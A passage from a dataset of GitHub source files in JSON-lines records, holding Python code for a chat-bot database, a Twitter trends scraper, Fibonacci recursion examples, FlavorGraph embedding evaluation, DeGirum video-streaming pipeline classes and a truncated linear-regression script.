system_message = cur.execute('''SELECT system_message FROM message_history WHERE chat_id = ?''', chat_id).fetchall()\n if system_message[0][0]:\n system_message = functools.reduce(operator.add, system_message[0])\n system_list = [{'role': 'system', 'content': system_message}]\n else:\n system_list = [{'role': 'system', 'content': None}]\n con.close()\n return system_list\n\n\ndef get_temperature(chat_id):\n con, cur = get_connection()\n chat_id = [chat_id]\n temp = cur.execute('''SELECT temperature FROM message_history WHERE chat_id = ?''', chat_id).fetchall()\n temp = float(functools.reduce(operator.add, temp[0]))\n con.close()\n return temp\n\n\ndef check_user_exists(chat_id):\n con, cur = get_connection()\n users = cur.execute('''SELECT chat_id FROM message_history''').fetchall()\n if (chat_id,) not in users:\n con.close()\n return False\n con.close()\n return True\n","repo_name":"klinf1/Chat_GPT_API","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":6485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23968482369","text":"import snscrape.modules.twitter as sntwitter\nCHUNK_SIZE = 5\nTWEET_LIMIT = 150\n\n\ndef search_twitter(query):\n # Using TwitterSearchScraper to scrape data and append tweets to list\n local_list=[]\n for i,trend in enumerate(sntwitter.TwitterTrendsScraper().get_items()):\n \n # if i%CHUNK_SIZE == 0:\n # self.process_data(local_list)\n # local_list=[]\n \n # if i > TWEET_LIMIT:\n # # self.process_data(local_list)\n # break #.date, tweet.id, tweet.content, tweet.user.username,tweet.user.id\n \n # print(tweet.id)\n # print(tweet.user.id)\n if trend.domainContext == \"Trending in Algeria\":\n local_list.append(trend.name)\n \n return local_list\n\nkeyword = \"DZ\"\nfrom_date=\"2021-01-01\"\nto_date=\"2022-04-06\"\n\n\ndata = search_twitter(f'{keyword}')# since:{from_date} until:{to_date}\nprint(data)\n# print([k.hashtags for k in data])\n# print(scraper.graph.nodes)\n# scraper.save_json(\"somewhere\",scraper.graph)\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"OmarZOS/keyword-social-media-search","sub_path":"twit.py","file_name":"twit.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4053360648","text":"\n\ndef fibhead(num):\n\n if num == 0:\n return 0\n if num == 1:\n return 1\n \n #head recursion\n fib = fibhead(num-1)\n fib2 = fibhead(num-2)\n #operations\n result2 = fib + fib2\n return result2\n\n\ndef fibtail(num,a=0,b=1):\n #Accumulators are used in tail recursion as a way of communicating a partial result down through \n #the recursive call chain without requiring extra space to be used at each level of the recursion\n if num == 0:\n return a\n\n if num == 1:\n return b\n\n return fibtail(num-1,b,a+b)\n\n\nprint(fibtail(6))\nprint(fibhead(6))\n","repo_name":"ghostdevelite/DataStructures","sub_path":"fibrecursions.py","file_name":"fibrecursions.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27492132203","text":"import pandas as pd\nimport numpy as np\nimport pickle\nimport networkx as nx\nfrom tqdm import tqdm, trange\nfrom texttable import Texttable\n\ndef graph_reader(input_nodes, input_edges):\n \"\"\"\n Function to read the graph from the path.\n :param path: Path to the edge list.\n :return graph: NetworkX object returned.\n \"\"\"\n print(\"\\n\\n##########################################################################\")\n print(\"### Creating Graphs...\")\n graph = nx.Graph()\n graph_ingr_only = nx.Graph()\n\n print(\"Nodes Loaded...%s...\" % format(input_nodes))\n df_nodes = pd.read_csv(input_nodes)\n for index, row in tqdm(df_nodes.iterrows(), total=len(df_nodes)):\n node_id, name, _id, node_type, is_hub = row.values.tolist()\n graph.add_node(node_id, name=name, id=_id, type=node_type, is_hub=is_hub)\n if node_type == 'ingredient':\n graph_ingr_only.add_node(node_id, name=name, id=_id, type=node_type, is_hub=is_hub)\n\n print(\"Edges Loaded...%s...\" % format(input_edges))\n df_edges = pd.read_csv(input_edges)\n for index, row in tqdm(df_edges.iterrows(), total=len(df_edges)):\n #print(row.values.tolist())\n id_1, id_2, score, edge_type = row.values.tolist()\n graph.add_edge(id_1, id_2, weight=score, type=edge_type)\n if edge_type == 'ingr-ingr':\n graph_ingr_only.add_edge(id_1, id_2, weight=score, type=edge_type)\n\n #graph.remove_edges_from(graph.selfloop_edges())\n #graph_ingr_only.remove_edges_from(graph.selfloop_edges())\n\n print(\"\\nThe whole graph - ingredients, food-like compounds, drug-like compounds\")\n print(\"# of nodes in graph: %d\" % nx.number_of_nodes(graph))\n print(\"# of edges in graph: %d\" % nx.number_of_edges(graph))\n\n #print(\"The small graph - ingredients only\")\n #print(\"# of nodes in graph: %d\" % nx.number_of_nodes(graph_ingr_only))\n #print(\"# of edges in graph: %d\" % nx.number_of_edges(graph_ingr_only))\n\n return graph, graph_ingr_only\n\ndef evaluate(args, graph):\n \"\"\"\n Downstream Applications\n Evaluation\n \"\"\"\n print(\"\\nEvaluation...\")\n\n node2node_name={}\n node_name2node={}\n\n for node in graph.nodes():\n node_info = graph.nodes[node]\n node_name = node_info['name']\n node2node_name[node] = node_name\n node_name2node[node_name] = node\n\n csv = \"./input/node_classification_hub.csv\"\n df = pd.read_csv(csv)\n categories = df.columns\n\n if args.idx_embed == 'Node2vec':\n file = \"{}{}-embedding_{}-deepwalk_{}-dim_{}-initial_lr_{}-window_size_{}-iterations_{}-min_count.pickle\".format(\n args.output_path, args.idx_embed, args.idx_metapath, args.dim, args.initial_lr, args.window_size, args.iterations, args.min_count)\n else:\n file = \"{}{}-embedding_{}-metapath_{}-dim_{}-initial_lr_{}-window_size_{}-iterations_{}-min_count-_{}-isCSP_{}-CSPcoef.pickle\".format(\n args.output_path, args.idx_embed, args.idx_metapath, args.dim, args.initial_lr, args.window_size, args.iterations, args.min_count, args.CSP_train, args.CSP_coef)\n\n with open(file, \"rb\") as pickle_file:\n vectors = pickle.load(pickle_file)\n\n node_name2vec={}\n for node in vectors:\n node_name = node2node_name[int(node)]\n node_name2vec[node_name] = vectors[node]\n\n X=[]\n y=[]\n for category in categories:\n ingredients = df[category].values\n for name in ingredients:\n try:\n vec = node_name2vec[name]\n X.append(vec)\n y.append(category)\n except:\n print(name)\n\n\n nmis = []\n train_ratios = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\n for ratio in train_ratios:\n nmi = train(X, y, ratio)\n print(nmi)\n nmis.append(nmi)\n print(np.mean(nmis))\n print(np.std(nmis))\n \n\n # For Binary Vectors\n if args.CSP_save:\n file = file.replace('.pickle', '_CSPLayer.pickle')\n with open(file, \"rb\") as pickle_file:\n vectors = pickle.load(pickle_file)\n node_name2vec={}\n for node in vectors:\n node_name = node2node_name[int(node)]\n node_name2vec[node_name] = vectors[node]\n X=[]\n y=[]\n for category in categories:\n ingredients = df[category].values\n for name in ingredients:\n vec = node_name2vec[name]\n X.append(vec)\n y.append(category)\n\n train_ratios = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\n nmis = []\n for ratio in train_ratios:\n nmi = train(X, y, ratio)\n print(nmi)\n nmis.append(nmi)\n print(\"nmi mean: %f\" % (np.mean(nmis)))\n print(\"nmi std: %f\" % (np.std(nmis)))\n \n return\n\ndef train(X, y, train_ratio):\n from sklearn.cluster import KMeans\n from sklearn.linear_model import LogisticRegression\n from sklearn import svm\n from sklearn.metrics import precision_score, recall_score, f1_score\n from sklearn.metrics import accuracy_score\n from sklearn.model_selection import train_test_split\n\n test_ratio = 1-train_ratio\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_ratio, random_state=36)\n\n \"\"\"\n Classification\n \"\"\"\n# clf = LogisticRegression(C=1000.0, random_state=0).fit(X_train, y_train)\n# clf = svm.SVC(kernel='linear', C=1e30).fit(X_train, y_train)\n# y_pred = clf.predict(X_test)\n\n# print(y_test)\n# print(y_pred)\n# print(\"accuracy: %.2f\" %accuracy_score(y_test, y_pred))\n# print(\"Precision : %.3f\" % precision_score(y_test, y_pred))\n# print(\"Recall : %.3f\" % recall_score(y_test, y_pred))\n# print(\"F1-micro : %.3f\" % f1_score(y_test, y_pred, average='micro'))\n# print(\"F1-macro : %.3f\" % f1_score(y_test, y_pred, average='macro'))\n# f1_micro = f1_score(y_test, y_pred, average='micro')\n# f1_macro = f1_score(y_test, y_pred, average='macro')\n\n# print(\"F1-macro\")\n# print(f1_macro)\n# print(\"F1-micro\")\n# print(f1_micro)\n\n \"\"\"\n Clustering\n \"\"\"\n\n from sklearn.metrics.cluster import normalized_mutual_info_score\n from nltk.cluster import KMeansClusterer\n import nltk\n\n NUM_CLUSTERS=8\n kclusterer = KMeansClusterer(NUM_CLUSTERS, distance=nltk.cluster.util.cosine_distance, repeats=100, normalise=True, avoid_empty_clusters=True)\n assigned_clusters = kclusterer.cluster(X, assign_clusters=True)\n nmi = normalized_mutual_info_score(assigned_clusters, y)\n return nmi\n \n\ndef tab_printer(args):\n \"\"\"\n Function to print the logs in a nice tabular format.\n :param args: Parameters used for the model.\n \"\"\"\n args = vars(args)\n keys = sorted(args.keys())\n t = Texttable()\n t.add_rows([[\"Parameter\", \"Value\"]] + [[k.replace(\"_\",\" \").capitalize(),args[k]] for k in keys])\n print(t.draw())\n","repo_name":"lamypark/FlavorGraph","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6903,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"54"} +{"seq_id":"72072648483","text":"import threading\nimport queue\nimport copy\nimport time\nfrom abc import ABC, abstractmethod\nfrom typing import Optional, Any, List, Union\nfrom contextlib import ExitStack\nfrom .environment import get_test_mode\nfrom .video_support import open_video_stream, open_video_writer\nfrom .ui_support import Display\n\nimport cv2\nimport numpy\n\nimport degirum as dg\n\n\nclass StreamData:\n \"\"\"Single data element of the streaming pipelines\"\"\"\n\n def __init__(self, data: Any, meta: Any):\n \"\"\"Constructor.\n\n - data: data payload\n - meta: metainfo\"\"\"\n self.data = data\n self.meta = meta\n\n\nclass Stream(queue.Queue):\n \"\"\"Queue-based iterable class with optional item drop\"\"\"\n\n def __init__(self, maxsize=0, allow_drop: bool = False):\n \"\"\"Constructor\n\n - maxsize: maximum stream depth; 0 for unlimited depth\n - allow_drop: allow dropping elements on put() when stream is full\n \"\"\"\n super().__init__(maxsize)\n self.allow_drop = allow_drop\n self.dropped_cnt = 0 # number of dropped items\n\n _poison = None\n\n def put(\n self, item: Any, block: bool = True, timeout: Optional[float] = None\n ) -> None:\n \"\"\"Put an item into the stream\n\n - item: item to put\n If there is no space left, and allow_drop flag is set, then oldest item will\n be popped to free space\n \"\"\"\n if self.allow_drop:\n while True:\n try:\n super().put(item, False)\n break\n except queue.Full:\n self.dropped_cnt += 1\n try:\n self.get_nowait()\n finally:\n pass\n else:\n super().put(item, block, timeout)\n\n def __iter__(self):\n \"\"\"Iterator method\"\"\"\n return iter(self.get, self._poison)\n\n def close(self):\n \"\"\"Close stream: put poison pill\"\"\"\n self.put(self._poison)\n\n\nclass Gizmo(ABC):\n \"\"\"Base class for all gizmos: streaming pipeline processing blocks.\n Each gizmo owns zero of more input streams, which are used to deliver\n the data to that gizmo for processing. For data-generating gizmos\n there is no input stream.\n\n A gizmo can be connected to other gizmo to receive a data from that\n gizmo into one of its own input streams. Multiple gizmos can be connected to\n a single gizmo, so one gizmo can broadcast data to multiple destinations.\n\n A data element is a tuple containing raw data object as a first element, and meta info\n object as a second element.\n\n Abstract run() method should be implemented in derived classes to run gizmo\n processing loop. It is not called directly, but is launched by Composition class\n in a separate thread.\n\n run() implementation should periodically check for _abort flag (set by abort())\n and run until there will be no more data in its input(s).\n\n \"\"\"\n\n def __init__(self, input_stream_sizes: List[tuple] = []):\n \"\"\"Constructor\n\n - input_stream_size: a list of tuples containing constructor parameters of input streams;\n pass empty list to have no inputs; zero means unlimited depth\n \"\"\"\n\n self._inputs: List[Stream] = []\n for s in input_stream_sizes:\n self._inputs.append(Stream(*s))\n\n self._output_refs = [] # type: List[Stream]\n self._abort = False\n self.composition: Optional[Composition] = None\n self.error: Optional[Exception] = None\n self.name = self.__class__.__name__\n self.result_cnt = 0 # gizmo result counter\n self.start_time_s = time.time() # gizmo start time\n self.elapsed_s = 0\n self.fps = 0 # achieved FPS rate\n\n def get_input(self, inp: int) -> Stream:\n \"\"\"Get inp-th input stream\"\"\"\n if inp >= len(self._inputs):\n raise Exception(f\"Input {inp} is not assigned\")\n return self._inputs[inp]\n\n def get_inputs(self) -> List[Stream]:\n \"\"\"Get list of input streams\"\"\"\n return self._inputs\n\n def connect_to(self, other_gizmo, inp: int = 0):\n \"\"\"Connect given input to other gizmo.\n\n - other_gizmo: gizmo to connect to\n - inp: input index to use for connection\n \"\"\"\n other_gizmo._output_refs.append(self.get_input(inp))\n\n def __lshift__(self, other_gizmo):\n \"\"\"Operator synonym for connect_to(): connects self to other_gizmo\n Returns other_gizmo\"\"\"\n self.connect_to(other_gizmo)\n return other_gizmo\n\n def __rshift__(self, other_gizmo):\n \"\"\"Operator antonym for connect_to(): connects other_gizmo to self\n\n Returns self\"\"\"\n other_gizmo.connect_to(self)\n return other_gizmo\n\n def send_result(self, data: Optional[StreamData], clone_data: bool = False):\n \"\"\"Send result to all connected outputs.\n\n - data: a tuple containing raw data object as a first element, and meta info object as a second element.\n When None is passed, all outputs will be closed.\n - clone_data: clone data when sending to different outputs\n \"\"\"\n self.result_cnt += 1\n for out in self._output_refs:\n if data is None:\n out.close()\n else:\n out.put(copy.deepcopy(data) if clone_data else data)\n\n @abstractmethod\n def run(self):\n \"\"\"Run gizmo\"\"\"\n\n def abort(self, abort: bool = True):\n \"\"\"Set abort flag\"\"\"\n self._abort = abort\n\n\nclass Composition:\n \"\"\"Class, which holds and animates multiple connected gizmos.\n First you add all necessary gizmos to your composition using add() or __call()__ method.\n Then you connect all added gizmos in proper order using connect_to() method or `>>` operator.\n Then you start your composition by calling start() method.\n You may stop your composition by calling stop() method.\"\"\"\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n self._gizmos: List[Gizmo] = []\n self._threads: List[threading.Thread] = []\n\n def add(self, gizmo: Gizmo) -> Gizmo:\n \"\"\"Add a gizmo to composition\n\n - gizmo: gizmo to add\n\n Returns same gizmo\n \"\"\"\n gizmo.composition = self\n self._gizmos.append(gizmo)\n return gizmo\n\n def __call__(self, gizmo: Gizmo) -> Gizmo:\n \"\"\"Operator synonym for add()\"\"\"\n return self.add(gizmo)\n\n def start(self, detect_bottlenecks: bool = False):\n \"\"\"Start gizmo animation: launch run() method of every registered gizmo in a separate thread.\n\n - detect_bottlenecks: true to switch all streams into dropping mode to detect bottlenecks.\n Use get_bottlenecks() method to return list of gizmos-bottlenecks\n \"\"\"\n\n if len(self._threads) > 0:\n raise Exception(\"Composition already started\")\n\n def gizmo_run(gizmo):\n try:\n gizmo.result_cnt = 0\n if detect_bottlenecks:\n for i in gizmo.get_inputs():\n i.allow_drop = True\n gizmo.start_time_s = time.time()\n gizmo.run()\n gizmo.elapsed_s = time.time() - gizmo.start_time_s\n gizmo.fps = (\n gizmo.result_cnt / gizmo.elapsed_s if gizmo.elapsed_s > 0 else 0\n )\n gizmo.send_result(Stream._poison)\n except Exception as e:\n gizmo.error = e\n gizmo.composition.stop()\n\n for gizmo in self._gizmos:\n gizmo.abort(False)\n t = threading.Thread(target=gizmo_run, args=(gizmo,))\n t.name = t.name + \"-\" + type(gizmo).__name__\n self._threads.append(t)\n\n for t in self._threads:\n t.start()\n\n print(\"Composition started\")\n\n # test mode has limited inputs\n if get_test_mode():\n self.wait()\n\n def get_bottlenecks(self) -> List[dict]:\n \"\"\"Return a list of gizmos, which experienced bottlenecks during last run.\n Each list element is a dictionary. Key is gizmo name, value is # of dropped frames.\n Composition should be started with detect_bottlenecks=True to use this feature.\n \"\"\"\n ret = []\n for gizmo in self._gizmos:\n for i in gizmo.get_inputs():\n if i.dropped_cnt > 0:\n ret.append({gizmo.name: i.dropped_cnt})\n break\n return ret\n\n def get_current_queue_sizes(self) -> List[dict]:\n \"\"\"Return a list of gizmo input queue size at point of call.\n Can be used to analyze deadlocks\n Each list element is a dictionary. Key is gizmo name, value is a list of current queue sizes.\n \"\"\"\n ret = []\n for gizmo in self._gizmos:\n qsizes = [gizmo.result_cnt]\n for i in gizmo.get_inputs():\n qsizes.append(i.qsize())\n ret.append({gizmo.name: qsizes})\n return ret\n\n def stop(self):\n \"\"\"Signal abort to all registered gizmos and wait until all threads stopped\"\"\"\n\n if len(self._threads) == 0:\n raise Exception(\"Composition not started\")\n\n def do_join():\n # first signal abort to all gizmos\n for gizmo in self._gizmos:\n gizmo.abort()\n\n # then empty all streams\n for gizmo in self._gizmos:\n for i in gizmo._inputs:\n while not i.empty():\n try:\n i.get_nowait()\n except queue.Empty:\n break\n\n # finally wait for completion of all threads\n for t in self._threads:\n t.join()\n\n # do it in a separate thread, because stop() may be called by some gizmo\n threading.Thread(target=do_join).start()\n\n self._threads = []\n print(\"Composition stopped\")\n for gizmo in self._gizmos:\n if gizmo.error is not None:\n print(\n f\"Error detected during execution of {gizmo.name}:\\n {type(gizmo.error)}: {str(gizmo.error)}\"\n )\n\n def wait(self):\n \"\"\"Wait until all threads stopped\"\"\"\n\n if len(self._threads) == 0:\n raise Exception(\"Composition not started\")\n\n for t in self._threads:\n t.join()\n\n\nclass VideoSourceGizmo(Gizmo):\n \"\"\"OpenCV-based video source gizmo\"\"\"\n\n def __init__(self, video_source=None):\n \"\"\"Constructor.\n\n - video_source: cv2.VideoCapture-compatible video source designator\n \"\"\"\n super().__init__()\n self._video_source = video_source\n\n def run(self):\n \"\"\"Run gizmo\"\"\"\n with open_video_stream(self._video_source) as src:\n while not self._abort:\n ret, data = src.read()\n if not ret:\n self._abort = True\n else:\n self.send_result(StreamData(data, {}))\n\n\nclass VideoDisplayGizmo(Gizmo):\n \"\"\"OpenCV-based video display gizmo\"\"\"\n\n def __init__(\n self,\n window_titles: Union[str, List[str]] = \"Display\",\n *,\n show_ai_overlay: bool = False,\n show_fps: bool = False,\n stream_depth: int = 10,\n allow_drop: bool = False,\n multiplex: bool = False,\n ):\n \"\"\"Constructor.\n\n - window_titles: window title string or array of title strings for multiple displays\n - show_fps: True to show FPS\n - show_ai_overlay: True to show AI inference overlay image when possible\n - stream_depth: input stream depth\n - allow_drop: allow dropping frames from input stream on overflow\n - multiplex: then True, single input data is multiplexed to multiple displays;\n when False, each input is displayed on individual display\n \"\"\"\n\n if isinstance(window_titles, str):\n window_titles = [\n window_titles,\n ]\n\n inp_cnt = 1 if multiplex else len(window_titles)\n super().__init__([(stream_depth, allow_drop)] * inp_cnt)\n self._window_titles = window_titles\n self._show_fps = show_fps\n self._show_ai_overlay = show_ai_overlay\n self._multiplex = multiplex\n\n def run(self):\n \"\"\"Run gizmo\"\"\"\n\n with ExitStack() as stack:\n ndisplays = len(self._window_titles)\n ninputs = len(self.get_inputs())\n\n displays = [\n stack.enter_context(Display(w, self._show_fps))\n for w in self._window_titles\n ]\n first_run = [True] * ndisplays\n\n di = 0 # di is display index\n try:\n while True:\n if self._abort:\n break\n\n for ii, input in enumerate(self.get_inputs()): # ii is input index\n try:\n if ninputs > 1 and not get_test_mode():\n # non-multiplexing multi-input case (do not use it in test mode to avoid race conditions)\n data = input.get_nowait()\n else:\n # single input or multiplexing case\n data = input.get()\n self.result_cnt += 1\n except queue.Empty:\n continue\n\n # select display to show this frame\n di = (di + 1) % ndisplays if self._multiplex else ii\n\n if data == Stream._poison:\n self._abort = True\n break\n\n if self._show_ai_overlay and isinstance(\n data.meta, dg.postprocessor.InferenceResults\n ):\n # show AI inference overlay if possible\n displays[di].show(data.meta.image_overlay)\n else:\n displays[di].show(data.data)\n\n if first_run[di] and not displays[di]._no_gui:\n cv2.setWindowProperty(\n self._window_titles[di], cv2.WND_PROP_TOPMOST, 1\n )\n first_run[di] = False\n\n except KeyboardInterrupt:\n if self.composition is not None:\n self.composition.stop()\n\n\nclass VideoSaverGizmo(Gizmo):\n \"\"\"OpenCV-based gizmo to save video to a file\"\"\"\n\n def __init__(\n self,\n filename: str = \"\",\n *,\n show_ai_overlay=False,\n stream_depth: int = 10,\n allow_drop: bool = False,\n ):\n \"\"\"Constructor.\n\n - filename: output video file name\n - show_ai_overlay: True to show AI inference overlay image when possible\n - stream_depth: input stream depth\n - allow_drop: allow dropping frames from input stream on overflow\n \"\"\"\n super().__init__([(stream_depth, allow_drop)])\n self._filename = filename\n self._show_ai_overlay = show_ai_overlay\n\n def run(self):\n \"\"\"Run gizmo\"\"\"\n\n get_img = (\n lambda data: data.meta.image_overlay\n if self._show_ai_overlay\n and isinstance(data.meta, dg.postprocessor.InferenceResults)\n else data.data\n )\n\n img = get_img(self.get_input(0).get())\n with open_video_writer(\n self._filename, img.shape[1], img.shape[0]\n ) as writer:\n self.result_cnt += 1\n writer.write(img)\n for data in self.get_input(0):\n if self._abort:\n break\n writer.write(get_img(data))\n\n\nclass ResizingGizmo(Gizmo):\n \"\"\"OpenCV-based image resizing/padding gizmo\"\"\"\n\n def __init__(\n self,\n w: int,\n h: int,\n pad_method: str = \"letterbox\",\n resize_method: int = cv2.INTER_LINEAR,\n stream_depth: int = 10,\n allow_drop: bool = False,\n ):\n \"\"\"Constructor.\n\n - w, h: resulting image width/height\n - pad_method: padding method - one of 'stretch', 'letterbox'\n - resize_method: resampling method - one of cv2.INTER_xxx constants\n - stream_depth: input stream depth\n - allow_drop: allow dropping frames from input stream on overflow\n \"\"\"\n super().__init__([(stream_depth, allow_drop)])\n self._h = w\n self._w = w\n self._pad_method = pad_method\n self._resize_method = resize_method\n\n def _resize(self, image):\n dx = dy = 0 # offset of left top corner of original image in resized image\n\n image_ret = image\n if image.shape[1] != self._w or image.shape[0] != self._h:\n if self._pad_method == \"stretch\":\n image_ret = cv2.resize(\n image, (self._w, self._h), interpolation=self._resize_method\n )\n elif self._pad_method == \"letterbox\":\n iw = image.shape[1]\n ih = image.shape[0]\n scale = min(self._w / iw, self._h / ih)\n nw = int(iw * scale)\n nh = int(ih * scale)\n\n # resize preserving aspect ratio\n scaled_image = cv2.resize(\n image, (nw, nh), interpolation=self._resize_method\n )\n\n # create new canvas image and paste into it\n image_ret = numpy.zeros((self._h, self._w, 3), image.dtype)\n\n dx = (self._w - nw) // 2\n dy = (self._h - nh) // 2\n image_ret[dy : dy + nh, dx : dx + nw, :] = scaled_image\n\n return image_ret\n\n def run(self):\n \"\"\"Run gizmo\"\"\"\n\n for data in self.get_input(0):\n if self._abort:\n break\n resized = self._resize(data.data)\n self.send_result(StreamData(resized, data.meta))\n\n\nclass AiGizmoBase(Gizmo):\n \"\"\"Base class for AI inference gizmos\"\"\"\n\n def __init__(\n self,\n model,\n *,\n stream_depth: int = 10,\n allow_drop: bool = False,\n inp_cnt: int = 1,\n ):\n \"\"\"Constructor.\n\n - model: PySDK model object\n - stream_depth: input stream depth\n - allow_drop: allow dropping frames from input stream on overflow\n \"\"\"\n super().__init__([(stream_depth, allow_drop)] * inp_cnt)\n\n model.image_backend = \"opencv\" # select OpenCV backend\n model.input_numpy_colorspace = \"BGR\" # adjust colorspace to match OpenCV\n self.model = model\n\n def run(self):\n \"\"\"Run gizmo\"\"\"\n\n def source():\n while True:\n # get data from all inputs\n for inp in self.get_inputs():\n d = inp.get()\n if d == Stream._poison:\n self._abort = True\n break\n yield (d.data, d.meta)\n\n if self._abort:\n break\n\n for result in self.model.predict_batch(source()):\n if isinstance(result._input_image, bytes):\n if isinstance(result.info, dict) and (\"image_input\" in result.info):\n # patch raw bytes image in result when possible to provide better result visualization\n result._input_image = result.info[\"image_input\"]\n\n # recalculate bbox coordinates to original image\n converter = (\n result.info[\"converter\"] if \"converter\" in result.info else None\n )\n if converter is not None:\n for res in result._inference_results:\n if \"bbox\" in res:\n box = res[\"bbox\"]\n res[\"bbox\"] = [\n *converter(*box[:2]),\n *converter(*box[2:]),\n ]\n\n self.on_result(result)\n # finish processing all frames for tests\n if self._abort and not get_test_mode():\n break\n\n @abstractmethod\n def on_result(self, result):\n \"\"\"Result handler to be overloaded in derived classes.\n\n - result: inference result; result.info contains reference to data frame used for inference\n \"\"\"\n\n\nclass AiSimpleGizmo(AiGizmoBase):\n \"\"\"AI inference gizmo with no result processing: it passes through input frames\n attaching inference results as meta info\"\"\"\n\n def on_result(self, result):\n \"\"\"Result handler to be overloaded in derived classes.\n\n - result: inference result; result.info contains reference to data frame used for inference\n \"\"\"\n self.send_result(StreamData(result.image, result))\n\n\nclass AiObjectDetectionCroppingGizmo(Gizmo):\n \"\"\"A gizmo, which receives images at input #0 and corresponding object detection results at input #1,\n then for each detected object it crops input image and sends cropped result.\n\n Output image is the crop of original image.\n Output meta-info is a dictionary with the following keys:\n\n - \"original_result\": reference to original AI object detection result (contained only in the first crop)\n - \"cropped_result\": reference to sub-result for particular crop\n - \"cropped_index\": the number of that sub-result\n The last two key are present only if at least one object is detected in a frame.\n \"\"\"\n\n def __init__(\n self,\n labels: List[str],\n *,\n stream_depth: int = 10,\n allow_drop: bool = False,\n ):\n \"\"\"Constructor.\n\n - labels: list of class labels to process\n - stream_depth: input stream depth\n - allow_drop: allow dropping frames from input stream on overflow\n \"\"\"\n\n # we use unlimited frame queue #0 to not block any source gizmo\n super().__init__([(0, allow_drop), (stream_depth, allow_drop)])\n\n self._labels = labels\n\n def run(self):\n \"\"\"Run gizmo\"\"\"\n\n while True:\n d0 = self.get_input(0).get()\n d1 = self.get_input(1).get()\n\n if d0 == Stream._poison or d1 == Stream._poison:\n self._abort = True\n\n if self._abort:\n break\n\n img = d0.data\n result = d1.meta\n\n is_first = True\n for i, r in enumerate(result.results):\n if \"label\" not in r or r[\"label\"] not in self._labels:\n continue\n crop = Display.crop(result.image, r[\"bbox\"])\n # send all crops afterwards\n meta = {}\n if is_first:\n # send whole result with no data first\n meta[\"original_result\"] = result\n\n meta[\"cropped_result\"] = r\n meta[\"cropped_index\"] = i\n\n is_first = False\n self.send_result(StreamData(crop, meta))\n\n if is_first: # no objects detected: send just original result\n self.send_result(StreamData(img, {\"original_result\": result}))\n\n\nclass AiResultCombiningGizmo(Gizmo):\n \"\"\"Gizmo to combine results from multiple AI gizmos with similar-typed results\"\"\"\n\n def __init__(\n self,\n inp_cnt: int,\n *,\n stream_depth: int = 10,\n allow_drop: bool = False,\n ):\n \"\"\"Constructor.\n\n - inp_cnt: number of inputs to combine\n - stream_depth: input stream depth\n - allow_drop: allow dropping frames from input stream on overflow\n \"\"\"\n self._inp_cnt = inp_cnt\n super().__init__([(stream_depth, allow_drop)] * inp_cnt)\n\n def run(self):\n \"\"\"Run gizmo\"\"\"\n\n while True:\n # get data from all inputs\n all_data = []\n for inp in self.get_inputs():\n d = inp.get()\n if d == Stream._poison:\n self._abort = True\n break\n all_data.append(d)\n\n if self._abort:\n break\n\n d0 = all_data[0]\n for d in all_data[1:]:\n # check that results are of the same type and from the same data\n if hasattr(d.meta, \"_inference_results\") and hasattr(\n d0.meta, \"_inference_results\"\n ):\n d0.meta._inference_results += d.meta._inference_results\n\n self.send_result(StreamData(d0.data, d0.meta))\n\n\nclass AiPreprocessGizmo(Gizmo):\n \"\"\"Preprocessing gizmo. It applies AI model preprocessor to the input images.\n\n Output data is the result of preprocessing: raw bytes array to be sent to AI model.\n Output meta-info is a dictionary with the following keys\n \"image_input\": reference to the input image\n \"converter\": coordinate conversion lambda\n \"image_result\": pre-processed image (optional, only when model.save_model_image is set)\n \"\"\"\n\n def __init__(\n self,\n model,\n *,\n stream_depth: int = 10,\n allow_drop: bool = False,\n ):\n \"\"\"Constructor.\n - model: PySDK model object\n - stream_depth: input stream depth\n - allow_drop: allow dropping frames from input stream on overflow\n \"\"\"\n super().__init__([(stream_depth, allow_drop)])\n self._preprocessor = model._preprocessor\n\n def run(self):\n \"\"\"Run gizmo\"\"\"\n for data in self.get_input(0):\n if self._abort:\n break\n\n res = self._preprocessor.forward(data.data)\n self.send_result(StreamData(res[0], res[1]))\n\n\nclass FanoutGizmo(Gizmo):\n \"\"\"Gizmo to fan-out single input into multiple outputs.\n NOTE: by default it drops frames when experiencing back-pressure.\"\"\"\n\n def __init__(\n self,\n *,\n stream_depth: int = 2,\n allow_drop: bool = True,\n ):\n \"\"\"Constructor.\n\n - stream_depth: input stream depth\n - allow_drop: allow dropping frames from input stream on overflow\n \"\"\"\n super().__init__([(stream_depth, allow_drop)])\n\n def run(self):\n \"\"\"Run gizmo\"\"\"\n for data in self.get_input(0):\n if self._abort:\n break\n self.send_result(data)\n","repo_name":"DeGirum/degirum_tools","sub_path":"degirum_tools/streams.py","file_name":"streams.py","file_ext":"py","file_size_in_byte":26495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"42850267623","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport os\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.compose import ColumnTransformer\n\n\nif __name__ == \"__main__\":\n cwd = os.getcwd()\n data = pd.read_csv(cwd + '/Companies.csv')\n\n x = data.iloc[:,:-1].values\n ct = ColumnTransformer([(\"State\", OneHotEncoder(), [3])], remainder = 'passthrough')\n x = ct.fit_transform(x)\n y = data.iloc[:,-1].values # dependent variable(profit)\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 1/3, random_state = 0)\n\n regressor = LinearRegression()\n regressor.fit(x_train, y_train)\n \n y_pred = regressor.predict(x_test)\n x_pred = regressor.predict(x_train)\n\n\n plt.scatter(x_train[:,3], y_train, color = \"green\") #rd\n plt.scatter(x_train[:,4], y_train, color 